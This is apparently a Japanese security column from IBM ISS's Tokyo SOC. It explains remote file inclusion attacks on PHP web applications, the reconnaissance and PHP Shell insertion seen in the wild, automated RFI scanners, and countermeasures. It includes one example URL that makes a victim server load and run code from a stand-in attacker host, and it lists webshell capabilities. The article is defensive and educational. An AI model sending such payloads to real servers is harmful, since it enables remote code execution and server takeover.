今週のSecurity Check 第205回

 前回,SQLインジェクション攻撃の増加傾向を紹介した。そのほかにも日本IBMの東京セキュリティオペレーションセンター(以下,東京SOC)では,PHPで作成されたWebアプリケーションを狙った攻撃を大量に確認している。特に,リモート・ファイル・インクルード(RFI)攻撃は非常に多く,東京SOCでは1分当たり1.5件の頻度でRFI攻撃を検知している。これらは自動化された攻撃ツールによる大量無差別型の攻撃だと考えられる。今回は,現在のRFI攻撃の動向を紹介する。

 RFI攻撃は,Webアプリケーションのぜい弱性を利用して標的とするサーバーに,外部のサーバーから悪意あるファイルを読み込ませる攻撃である。攻撃者は標的サーバー上で当該ファイルに記述された任意のコードを実行させる。

図1●RFI攻撃の流れ
[画像のクリックで拡大表示]

 図1は一般的なRFI攻撃の流れである。攻撃者はあらかじめ攻撃用のサーバー「attack.example.net」に悪質なコードを記述したファイル「evil.txt」を配置しておく。そして,以下の様なURLを指定して標的とするサーバー「victim.example.com」にアクセスする。

http://victim.example.com/index.php?file=http://attack.example.net/evil.txt
(index.phpに記述されているWebアプリケーションがfileという変数で指定されたファイルを読み込む例)

 この例では,標的サーバー「victim.example.com」でWebアプリケーション「index.php」が呼び出される際に,攻撃用サーバー「attack.example.net」上のファイル「evil.txt」を読み込ませ,evil.txtに記述したコードを実行させる。このevil.txtに記述するコードの内容を変えることで,攻撃者は情報の窃取やWebページの改ざん,バックドアの設置,スパム・メールの送信など様々な攻撃を仕掛ける。

 図2は2008年5月~6月に検知したRFI攻撃の内容とその割合を示したものである。RFI攻撃に対するぜい弱性の有無の調査や,標的サーバーのシステム情報取得を目的とした攻撃など,本格的な攻撃を行う前の調査行為と解釈されるものが大勢を占めていることが分かる。そして残りの大部分は,PHPで作成されたリモートシェルである「PHP Shell」の挿入を目的とした攻撃だった。

図2●攻撃者は段階を踏んで攻撃するグラフはPHPアプリケーションを狙った攻撃の内訳

調査行為

 まず,RFI攻撃に対するぜい弱性有無の調査は,例えば図3のような無害なHTMLファイルをインクルードさせる試みが該当する。攻撃者はこの試みの成否を確認して,直接的な攻撃を行う前に,標的とされているWebアプリケーションがRFI攻撃に対してぜい弱であるかどうかを,直接的な攻撃を行う前に調査しているものと考えられる。

図3●インクルード・ファイル(cmd.gif)の例
[画像のクリックで拡大表示]

 東京SOCではRFI攻撃によって標的サーバーのシステム情報を取得する行為を,調査行為と位置付けている。具体的には,以下のような情報を取得したり,インターネット上に公開したりする行為を確認している。
  • OSに関する情報(OS名,ホスト名,リリース/バージョン情報,マシン型など)
  • ディスク容量(ディスク総量,使用量,空き容量)
  • PHPアプリケーションの動作権限情報
  • PHPアプリケーションのカレント・ディレクトリ・パス
  • PHPのバージョン
  • PHPのセーフ・モードの有効/無効

PHP Shellの挿入

 調査行為に次いで多いのはPHP Shellを挿入しようとする攻撃だった。PHP Shellとは,通常はTelnetやSSHなどを通して提供されるシェル機能をエミュレートするWebアプリケーションである。東京SOCでは以下に挙げるようなリモート・アクセス機能を提供するPHP Shellの存在を確認している。

  • ローカル・ファイルの検索
  • FTPやSambaを介したファイル・アクセス
  • ファイルやフォルダのダウンロードおよびアップロード
  • bashシェル・コマンドの実行
  • PHPコードの実行
  • データベースの操作(SQLクエリーの発行)
  • メールの送信
  • 自身(PHP Shell)の削除
 PHP Shellの中には不正な目的での利用を前提に作成されたものだけでなく,SSHアクセスが制限されているレンタル・サーバーなどの環境で利用することを想定して作成されたものもある。ただ,どのような目的で作成されていようとも,PHP Shellの挿入が成功する環境では,攻撃者は標的サーバーを意のままに操作することができてしまう。サーバー管理者はこの種の攻撃には特に注意を払う必要がある。

 参考としてPHP ShellのWebインタフェースの一例を図4に示す。このインタフェースは前述のファイル閲覧,メール送信,データベース操作などを実行するためのフォームを備えている。

図4●PHP Shellの例
[画像のクリックで拡大表示]

大量無差別型攻撃への移行

 東京SOCで検知しているRFI攻撃は,その大部分が「RFIスキャナ」を利用した攻撃であることが分かっている。RFIスキャナはWebアプリケーションのRFI攻撃に対するぜい弱性を検査するツールの総称で,RFI攻撃にぜい弱なサーバーのリストを自動作成する機能を持つ(図5)。

 RFIスキャナはまず検索サイトを利用して,攻撃者の設定した条件に該当する標的サーバーをリストアップする。標的を選ぶ条件は,公開されているWebアプリケーションのぜい弱性情報などを基に攻撃者が任意に作成する。次に,リストアップされたサーバーに対して順次RFI攻撃を試行し,結果を記録する。

 こうした攻撃は,攻撃者の支配下にある別のコンピュータをプロキシ・サーバーとして使って仕掛けることもできる。そのためのツールも確認されている。

図5●RFIスキャナの動作の流れ
[画像のクリックで拡大表示]

 毎分1.5件というすさまじい頻度でRFI攻撃が確認されている背景には,このようなRFIスキャナの流通が想定される。前回取りあげたSQLインジェクション攻撃の場合と同じく,自動化ツールの流通によって作業の手間が劇的に減少し,攻撃行為に要する技術レベルが下がった結果,RFI攻撃も大量無差別型の攻撃に遷移しているのである。

>リモート・ファイル・インクルード攻撃への対策

 RFI攻撃で狙われるPHPアプリケーションのぜい弱性は,サーバー上で任意のスクリプトを実行してしまうという点で致命的とさえ言える。Webアプリケーションにおける根本的な対策は,悪質なinclude文の変数埋め込みを回避するようにコーディングすること。また,サーバー上のPHPの基本設定(php.iniへの記述)で,リモート・ファイルの読み込み(インクルード)を制限することも対策になる。

 提供しているサービスや,Webアプリケーションの仕様の事情などにより,根本的な対策を行うことが難しい場合などは,Webアプリケーション・ファイアウォール(WAF)や侵入防御装置(IPS)を導入することが有効である。これらを適切に運用することで,RFI攻撃を効果的に防ぐことができる。東京SOCでは,最新の検知データを基に,IPSのカスタム・シグネチャや,ユーザーごとの検知傾向分析手法などを駆使してRFI攻撃の検知・防御を行っている。

 いずれの手段で対策を施すにしても,意図しない不備などに起因するリスクは付きまとう。このため,複数の防御手段を用いて攻撃に備える『多層防御』を心掛けていただきたい。


稲垣 吉将
日本アイ・ビー・エム ISS事業部 マネージド セキュリティ サービス部
セキュリティ オペレーション センター,セキュリティ エンジニア

 「今週のSecurity Check」は,セキュリティに関する技術コラムです。セキュリティ・ベンダーである「日本アイ・ビーエム ISS事業部」(IBM ISS:旧インターネット セキュリティ システムズ)のスタッフの方々を執筆陣に迎え,同社のセキュリティ・オペレーション・センター(SOC)で観測した攻撃の傾向や,セキュリティ・コンサルタントが現場で得たエッセンスなどを織り交ぜながら,セキュリティに関する技術や最新動向などを分かりやすく解説していただきます。(編集部より)

■IBM ISSが提供するネットワーク・セキュリティの最新情報はこちら